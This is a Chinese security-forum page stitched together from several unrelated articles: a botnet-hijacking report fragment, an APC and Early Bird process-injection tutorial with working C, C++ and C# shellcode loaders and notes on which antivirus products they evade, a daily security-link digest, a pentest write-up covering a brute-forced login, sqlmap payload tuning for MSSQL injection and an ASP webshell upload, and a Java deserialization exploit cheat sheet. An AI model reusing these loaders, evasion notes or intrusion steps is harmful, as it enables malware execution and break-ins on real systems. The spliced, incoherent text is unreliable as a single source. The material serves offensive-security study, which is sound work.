随着物联网僵尸网络的爆发式增长，越来越多的黑雀将目光从传统平台转向物联网领域，大大增加了攻击面，Ddostf僵尸的幕后黑雀也借此积极扩张。通过我们长期对Ddostf僵尸生态的研究分析发现，尽管部分黑客尝试去掉其小马后门并重新传播，但绝大多数的Ddostf僵尸样本依然留存有此类后门，且黑雀“狡猾”的在控制端也暗藏黑雀攻击接口，在添加强壳后难以发现和去除，用即中招。所以综合判断该黑雀僵尸资源丰富，实力非常强悍。本文重点对Ddostf僵尸网络中的这种现象进行了分析披露，并对典型僵尸样本进行了分析。此类黑雀利用普通黑客的攻击资源来发展自己的肉鸡，不动而坐收渔利。同时也要留意像Ramnit这类野生黑雀的加入，通过攻击病毒，借助“毒上毒”的方式依附传播。这些高效的黑吃黑手段给黑客产业链带来了越来越多的复杂性，也让网络秩序变得越发不安全，需要引起我们的高度警惕。
* * * | 社区文章 |
前言：本文以最新版360作为测试，如果有错漏之处，还请师傅们指正。
## APC介绍
APC中文名称为异步过程调用，
APC是一个链状的数据结构，可以让一个线程在其本应该的执行步骤前执行其他代码，每个线程都维护这一个APC链。当线程从等待状态苏醒后，会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程，当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
APC注入的一些前置如下：
* 线程在进程内执行
* 线程会调用在APC队列中的函数
* 应用可以给特定线程的APC队列压入函数(有权限控制)
* 压入队列后，线程将按照顺序优先级执行(FIFO)
* 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数
MSDN上对此解释如下
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
首先异步函数调用的原理：
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC，系统会产生一个软中断。在线程下一次被调度的时候，就会执行APC函数，APC有两种形式，由系统产生的APC称为内核模式APC，由应用程序产生的APC被称为用户模式APC
## APC 注入
### 简单原理
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
### 注入流程
`QueueUserAPC`函数的第一个参数表示执行的函数地址，当开始执行该APC的时候，程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄，要求线程句柄必须包含`THREAD_SET_CONTEXT`访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似，如果`QueueUserAPC`函数的第一个参数，即函数地址设置的是`LoadLibraryA`函数地址，第三个参数，即传递参数设置的是DLL的路径。那么，当执行APC的时候，便会调用`LoadLibraryA`函数加载指定路径的DLL，完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。
## APC注入实现
函数原型
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //APC 注入方式
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
### C++ 实现
代码如下
#include <Windows.h>
#include <iostream>
unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"
int main()
{
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //path
SIZE_T buff = sizeof(shellcode); //size of shellcode
STARTUPINFOA sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 }; //return a new process info
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //create a new thread for process
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
// write shellcode to the process memory
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
// use QueueUserAPC load shellcode
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);
return 0;
}
### C#实现
代码如下
using System;
using System.Runtime.InteropServices;
public class shellcode
{
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
//internal struct STARTUPINFO
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public TestClass()
{
string b64 = "<shellcode>"; //shellcode base64 encode
string targetprocess = "C:/Windows/System32/notepad.exe";
byte[] shellcode = new byte[] { };
shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
//write shellcode to the process memory
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
{
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
这里测试过了火绒但是没过360
### C实现
代码如下
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = <shellcode>; //shellcode {0xfc,0x48,0x83}
unsigned int buff = sizeof(shellcode);
int main(void) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
void * ptApcRoutine;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
return 0;
}
这里被360杀了，但是加载是能上线的。
## APC 注入变种 Early bird
Early Bird是一种简单而强大的技术，Early Bird本质上是一种APC注入与线程劫持的变体，由于线程初始化时会调用ntdll未导出函数
**NtTestAlert** ， **NtTestAlert** 是一个检查当前线程的 APC
队列的函数，如果有任何排队作业，它会清空队列。当线程启动时， **NtTestAlert**
会在执行任何操作之前被调用。因此，如果在线程的开始状态下对APC进行操作，就可以完美的执行shellcode。（如果要将shellcode注入本地进程，则可以APC到当前线程并调用
**NtTestAlert** 函数来执行）
通常使用的 Windows 函数包括：
* CreateProcessA ： 此函数用于创建新进程及其主线程。
* VirtualAllocEx ： 在指定进程的虚拟空间保留或提交内存区域
* WriteProcessMemory ：将数据写入指定进程的内存区域。
* QueueUserAPC ：允许将 APC 对象添加到指定线程的 APC 队列中。
## Early bird注入流程
* 1.创建一个挂起的进程(通常是windows的合法进程)
* 2.在挂起的进程内申请一块可读可写可执行的内存空间
* 3.往申请的空间内写入shellcode
* 4.将APC插入到该进程的主线程
* 5.恢复挂起进程的线程
## Early bird注入实现
### C实现
代码如下
#include <Windows.h>
int main() {
unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"
SIZE_T shellSz = sizeof(buff);
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
### C++实现
代码如下
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "<shellcode>"; //"\xfc\x48\x83\xe4"
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
### Go实现
参考项目：<https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird>
将其中的shellcode替换成CS的shellcode即可
编译之后运行上线
# 参考
<https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN>
<http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html>
<https://www.cnblogs.com/iBinary/p/7574055.html>
<https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection>
<https://idiotc4t.com/code-and-dll-process-injection/early-bird> | 社区文章 |
# 【知识】11月11日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：朝鲜广播站被黑，黑客播放The Final Countdown、 ** **Ordinypt勒索软件出现，只针对德国用户**** 、
**CVE-2017-7219详细分析** 、在合法进程中隐藏代码、Websockets与IE/Edge实现C2通信、 **
**从零起步——Malwarebytes反编译教程** 、 **IKEv1与CVE-2016-1287**** 。**
**资讯类：**
研究人员可通过IDS签名绕过IDS
<http://www.securityweek.com/researcher-bypasses-ids-using-ids-signatures>
朝鲜广播站被黑，黑客播放The Final Countdown
<https://www.theepochtimes.com/hacker-hijacks-north-korean-radio-station-plays-the-final-countdown_2354373.html>
Ordinypt勒索软件出现，只针对德国用户
<http://securityaffairs.co/wordpress/65371/malware/ordinypt-wiper.html>
**技术类：**
CVE-2017-7219详细分析
<https://blog.scrt.ch/2017/04/26/heap-overflow-vulnerability-in-citrix-netscaler-gateway-cve-2017-7219/>
Websockets与IE/Edge实现C2通信
<https://arno0x0x.wordpress.com/2017/11/10/using-websockets-and-ie-edge-for-c2-communications/>
在合法进程中隐藏代码
<https://www.adlice.com/runpe-hide-code-behind-legit-process/>
汇编Cheatsheet
<https://azeria-labs.com/assembly-basics-cheatsheet/>
绕过杀软的提权
<https://bogner.sh/2017/11/avgater-getting-local-admin-by-abusing-the-anti-virus-quarantine/>
Linux Process Hunter
<https://gitlab.com/nowayout/prochunter>
从零起步——Malwarebytes反编译教程
<https://blog.malwarebytes.com/malwarebytes-news/2017/11/how-to-solve-the-malwarebytes-crackme-a-step-by-step-tutorial/>
IKEv1与CVE-2016-1287
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/november/cisco-asa-series-part-eight-exploiting-the-cve-2016-1287-heap-overflow-over-ikev1/>
Linux下的TCP Bind Shellcode
<https://pentesterslife.blog/2017/11/01/x86_64-tcp-bind-shellcode-with-basic-authentication-on-linux-systems/>
Smart Massager的逆向与利用
<https://medium.com/@arunmag/how-i-reverse-engineered-and-exploited-a-smart-massager-ee7c9f21bf33>
Hashes.org函数介绍
<https://s3inlc.wordpress.com/2017/11/10/algorithms-on-hashes-org/>
Eavesdropper：移动端数据泄漏漏洞
<https://www.appthority.com/mobile-threat-center/blog/eavesdropper-mobile-vulnerability-exposing-millions-conversations/>
移动端DDoS产业
<https://krebsonsecurity.com/2017/11/ddos-for-hire-service-launches-mobile-app/> | 社区文章 |
客户给了个站 要求：纯黑盒 无测试账号
就一个登录框 忘记密码功能还是这样
人直接傻了 先看看能不能爆破吧
发现密码加密了
好家伙 还是动态密钥
验证一下发现确实 两个一样的密码加密不一样
96e437f990f8df4078b535d40a53bdeddaa0c2503376f30ad2ec93ba5883fd4393909ba2bd1ae0d3d5e64ba10a2f2d617423a9fcc5017d421675fe8564ea71ccc36521a4936a593ad96db2782e3cbfdef79a7b02c8409020f57e0b055557fad444466728d2a592a4a1dea02fdbbd9f5d01571586d84f41d74b69b30d215ddbdf
4fb3f0d05a78b6dd5f19d07f10cab4cd2d226f46c5ce3af61f89ab0fa8fcc7fd6483a7840144820db0727a1c00f44cbd7e1c502c3c889a811c373e5d98634ec65ddcc3cb459adb7e6f39c6f207563536e354971336e199d3e85f3dcafb550fccee4782998aced13977a0df50b0a81d2af851b539909c8517f47328759af3a800
那mitmproxy+pyppeteer的方法就用不了了
且登陆失败后出现了验证码
经测试验证码不能重用 一些平常的验证码识别工具也不能识别
爆破这条路还是放在最最最最后吧
爆破走不通 爆目录看看：
只找到一些scripts、plugins、pictures、manual等403页面
404页泄露了绝对路径
发现有用户名枚举
手动试了很多账号 得到存在用户sysadmin
手动猜解密码没有成功
既然有scripts目录，那就爆破一下js文件吧（以前看过一篇挖src经验的文章说js经常会泄露敏感接口信息）
得到这些js
翻一翻找到了修改密码的接口
测了测也没啥用 没权限
但是在manual.js中发现了有意思的东西
经常这些手册里面就会有默认口令之类的东西，或者从平台演示的图片里看到一些后台信息
翻看这些手册 在XX工程标准化运行巡查操作手册.pdf中发现了我想要的东西
一个app的下载二维码
并且发现了该app的默认口令，在下面的演示图中看到用户名是人名的格式
毫不犹豫的下载下来安装到模拟器中
代理到burp上发现传输目标是一个域名的20000端口，但是该域名解析的ip根本没开web
我猜想可能是客户更换了服务器ip，就将burp上的域名改成了客户给的目标这个ip，果然可以正常访问
于是在本机上做了个hosts绑定，这样模拟器的app就能正常通信了
发现没有验证码 密码就md5加密了下 那还等什么 开始爆破
在登录时发现登录的密码自动填充了
发包，拿着burp抓到的哈希密码去解密：
得到了个密码
配合前面收集到的管理员用户名sysadmin试了试
进去了！
账号拿到web端登一下
好吧
再利用之前得到的信息，账号设置人名 密码设置123
又得到了一批账号
总算有点突破了
接着将burp的代理挂到xray上，开始点app里面的功能
发现几处上传功能 点完看看xray的html-------挖掘到个sql注入：
是sqlserver的报错注入
复制下来扔sqlmap：
发现sqlmap没识别到json里的参数，那自己加个星
继续sqlmap：python sqlmap.py -r 1.txt --random-agent --dbms=mssql
很悲剧
包复制到burp看了看，这个报错注入只能使用convert()的报错方法来跑数据，但是这个只在level高的情况下sqlmap才会去使用，调成level2
结果还是没跑出来
那就打开payload看看 convert在哪个level等级才会用
路径在F:\sqlmap-1.4\data\xml\payloads\error_based.xml
找到了可以利用的payload：
将`<level>3</level>`改成1
成功注入
不是dba
用这个shell无望
只能找找有没有web端的管理员密码了
密码哈希解不出
那只能试试前面看到的几个上传功能了
最后发现sysadmin里的某功能有图片上传
于是访问该功能的时候抓包，就可以获得图片的路径
惊喜的发现图片路径是在web端的那个端口上的
看到上传图片的上报人是xx燕，刚好刚刚爆破了一批普通账户存在这个账户
于是登录xx燕账户
上传图片，更改后缀为aspx
sysadmin这边重新获取路径访问
结果aspx传上去访问给我重定向到404页面了，猜测iis环境配置有问题 aspx马权限太高跑不起来
于是换成asp马
成功getshell
深深理解到什么是木桶原则。。。 | 社区文章 |
项目地址：https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/
Java 反序列化速记小抄。本页面收集了一些关于 Java 反序列化在渗透测试和一些 Java 应用的实例，以及一些利用工具。
* * *
A cheat sheet for pentesters about Java Native Binary Deserialization
vulnerabilities
Please, use **#javadeser** hash tag for tweets.
### Table of content
* Overview
* Main talks & presentations & docs
* Payload generators
* Exploits
* Detect
* Vulnerable apps (without public sploits/need more info)
* Protection
* For Android
* Other serialization types
### Overview
* [Java Deserialization Security FAQ](https://christian-schneider.net/JavaDeserializationSecurityFAQ.html)
* [From Foxgloves Security](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
### Main talks & presentations & docs
##### Marshalling Pickles
by [@frohoff](https://twitter.com/frohoff) & [@gebl](https://twitter.com/gebl)
* [Video](https://www.youtube.com/watch?v=KSA7vUkXGSg)
* [Slides](http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)
* [Other stuff](http://frohoff.github.io/appseccali-marshalling-pickles/)
##### Exploiting Deserialization Vulnerabilities in Java
by [@matthias_kaiser](https://twitter.com/matthias_kaiser)
* [Video](https://www.youtube.com/watch?v=VviY3O-euVQ)
##### Serial Killer: Silently Pwning Your Java Endpoints
by [@pwntester](http://twitter.com/pwntester) &
[@cschneider4711](http://twitter.com/cschneider4711)
* [Slides](https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf)
* [White Paper](http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/722/1/HPE-SR%20whitepaper%20java%20deserialization%20RSA2016.pdf)
* [Bypass Gadget Collection](https://github.com/pwntester/SerialKillerBypassGadgetCollection)
##### Deserialize My Shorts: Or How I Learned To Start Worrying and Hate Java
Object Deserialization
by [@frohoff](https://twitter.com/frohoff) & [@gebl](https://twitter.com/gebl)
* [Slides](http://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization)
##### Surviving the Java serialization apocalypse
by [@cschneider4711](http://twitter.com/cschneider4711) &
[@pwntester](http://twitter.com/pwntester)
* [Slides](http://www.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016)
* [Video](https://www.youtube.com/watch?v=m1sH240pEfw)
* [PoC for Scala, Grovy](https://github.com/pwntester/JVMDeserialization)
##### Java Deserialization Vulnerabilities - The Forgotten Bug Class
by [@matthias_kaiser](https://twitter.com/matthias_kaiser)
* [Slides](http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class)
##### Pwning Your Java Messaging With Deserialization Vulnerabilities
by [@matthias_kaiser](https://twitter.com/matthias_kaiser)
* [Slides](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
* [White Paper](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)
* [Tool for jms hacking](https://github.com/matthiaskaiser/jmet)
##### Defending against Java Deserialization Vulnerabilities
by [@lucacarettoni](https://twitter.com/lucacarettoni)
* [Slides](http://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities)
##### A Journey From JNDI/LDAP Manipulation To Remote Code Execution Dream
Land
by [@pwntester](http://twitter.com/pwntester) and O. Mirosh
* [Slides](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
* [White Paper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
### Payload generators
##### ysoserial
<https://github.com/frohoff/ysoserial>
RCE (or smth else) via:
* Apache Commons Collections <= 3.1
* Apache Commons Collections <= 4.0
* Groovy <= 2.3.9
* Spring Core <= 4.1.4 (?)
* JDK <=7u21
* Apache Commons BeanUtils 1.9.2 + Commons Collections <=3.1 + Commons Logging 1.2 (?)
* BeanShell 2.0
* Groovy 2.3.9
* Jython 2.5.2
* C3P0 0.9.5.2
* Apache Commons Fileupload <= 1.3.1 (File uploading)
* ROME 1.0
* MyFaces
* JRMPClient/JRMPListener
* JSON
* Hibernate
Additional tools (integration ysoserial with Burp Suite): \-[JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) \- [Java
Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) \- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
Full shell (pipes, redirects and other stuff): \- [$@|sh – Or: Getting a shell
environment from Runtime.exec](http://codewhitesec.blogspot.ru/2015/03/sh-or-getting-shell-environment-from.html) \- Set String[] for Runtime.exec (patch
ysoserial's payloads)
How it works: \- <https://blog.srcclr.com/commons-collections-deserialization-vulnerability-research-findings/> \-<http://gursevkalra.blogspot.ro/2016/01/ysoserial-commonscollections1-exploit.html>
##### ACEDcup
<https://github.com/GrrrDog/ACEDcup>
File uploading via: \- Apache Commons FileUpload <= 1.3 (CVE-2013-2186) and
Oracle JDK < 7u40
##### Universal billion-laughs DoS
<https://gist.github.com/coekie/a27cc406fc9f3dc7a70d>
Won't fix DoS via default Java classes
##### Universal Heap overflows DoS using Arrays and HashMaps
<https://github.com/topolik/ois-dos/>
How it works: \- [Java Deserialization DoS - payloads](http://topolik-at-work.blogspot.ru/2016/04/java-deserialization-dos-payloads.html)
Won't fix DoS via default Java classes
### Exploits
no spec tool - You don't need a special tool (just Burp/ZAP + payload)
##### RMI
* _Protocol_
* _Default - 1099/tcp for rmiregistry_
ysoserial (works only against a RMI registry service)
##### JMX
* _Protocol based on RMI_
* * [CVE-2016-3427](http://engineering.pivotal.io/post/java-deserialization-jmx/)
* partially patched in JRE
ysoserial
##### JNDI/LDAP
* When we control an adrress for lookup of JNDI (context.lookup(address))
* Full info
* [JNDI remote code injection](http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection)
<https://github.com/zerothoughts/jndipoc>
##### JMS
* Full info
[JMET](https://github.com/matthiaskaiser/jmet)
##### JSF ViewState
* if no encryption or good mac
##### T3 of Oracle Weblogic
* _Protocol_
* _Default - 7001/tcp on localhost interface_
* [CVE-2015-4852](https://www.vulners.com/search?query=CVE-2015-4852)
[loubia](https://github.com/metalnas/loubia) (tested on 11g and 12c, supports
t3s)
[JavaUnserializeExploits](https://github.com/foxglovesec/JavaUnserializeExploits)
(doesn't work for all Weblogic versions)
##### IBM Websphere 1
* _wsadmin_
* _Default port - 8880/tcp_
* [CVE-2015-7450](https://www.vulners.com/search?query=CVE-2015-7450)
[JavaUnserializeExploits](https://github.com/foxglovesec/JavaUnserializeExploits)
[serialator](https://github.com/roo7break/serialator)
##### IBM Websphere 2
* When using custom form authentication
* WASPostParam cookie
* [Full info](https://lab.mediaservice.net/advisory/2016-02-websphere.txt)
no spec tool
##### JBoss
* _http://jboss_server/invoker/JMXInvokerServlet_
* _Default port - 8080/tcp_
* [CVE-2015-7501](https://www.vulners.com/search?query=CVE-2015-7501)
[JavaUnserializeExploits](https://github.com/foxglovesec/JavaUnserializeExploits)
<https://github.com/njfox/Java-Deserialization-Exploit>
[serialator](https://github.com/roo7break/serialator)
##### Jenkins
* _Jenkins CLI_
* _Default port - High number/tcp_
* [CVE-2015-8103](https://www.vulners.com/search?query=CVE-2015-8103)
* [CVE-2015-3253](https://www.vulners.com/search?query=CVE-2015-3253)
[JavaUnserializeExploits](https://github.com/foxglovesec/JavaUnserializeExploits)
##### Jenkins 2
* patch "bypass" for Jenkins
* [CVE-2016-0788](https://www.vulners.com/search?query=CVE-2016-0788)
* [Details of exploit](https://www.insinuator.net/2016/07/jenkins-remoting-rce-ii-the-return-of-the-ysoserial/)
ysoserial
##### Restlet
* _< = 2.1.2_
* _When Rest API accepts serialized objects (uses ObjectRepresentation)_
no spec tool
##### RESTEasy
* *When Rest API accepts serialized objects (uses @Consumes({"*/*"}) or "application/*" )
* [Details and examples](https://0ang3el.blogspot.ru/2016/06/note-about-security-of-resteasy-services.html)
no spec tool
##### OpenNMS
* RMI
ysoserial
##### Progress OpenEdge RDBMS
* all versions
* RMI
ysoserial
##### Commvault Edge Server
* [CVE-2015-7253](https://www.vulners.com/search?query=CVE-2015-7253)
* Serialized object in cookie
no spec tool
##### Symantec Endpoint Protection Manager
* _/servlet/ConsoleServlet?ActionType=SendStatPing_
* [CVE-2015-6555](https://www.vulners.com/search?query=CVE-2015-6555)
[serialator](https://github.com/roo7break/serialator)
##### Oracle MySQL Enterprise Monitor
* _https://[target]:18443/v3/dataflow/0/0_
* [CVE-2016-3461](http://www.tenable.com/security/research/tra-2016-11)
no spec tool
[serialator](https://github.com/roo7break/serialator)
##### PowerFolder Business Enterprise Suite
* custom(?) protocol (1337/tcp)
* [MSA-2016-01](http://lab.mogwaisecurity.de/advisories/MSA-2016-01/)
[powerfolder-exploit-poc](https://github.com/h0ng10/powerfolder-exploit-poc)
##### Solarwinds Virtualization Manager
* <= 6.3.1
* RMI
* [CVE-2016-3642](https://www.vulners.com/search?query=CVE-2016-3642)
ysoserial
##### Cisco Prime Infrastructure
* _https://[target]/xmp_data_handler_service/xmpDataOperationRequestServlet_
* <= 2.2.3 Update 4
* <= 3.0.2
* [CVE-2016-1291](https://www.vulners.com/search?query=CVE-2016-1291)
[CoalfireLabs/java_deserialization_exploits](https://github.com/CoalfireLabs/java_deserialization_exploits/tree/master/CVE-2016-1291)
##### Apache XML-RPC
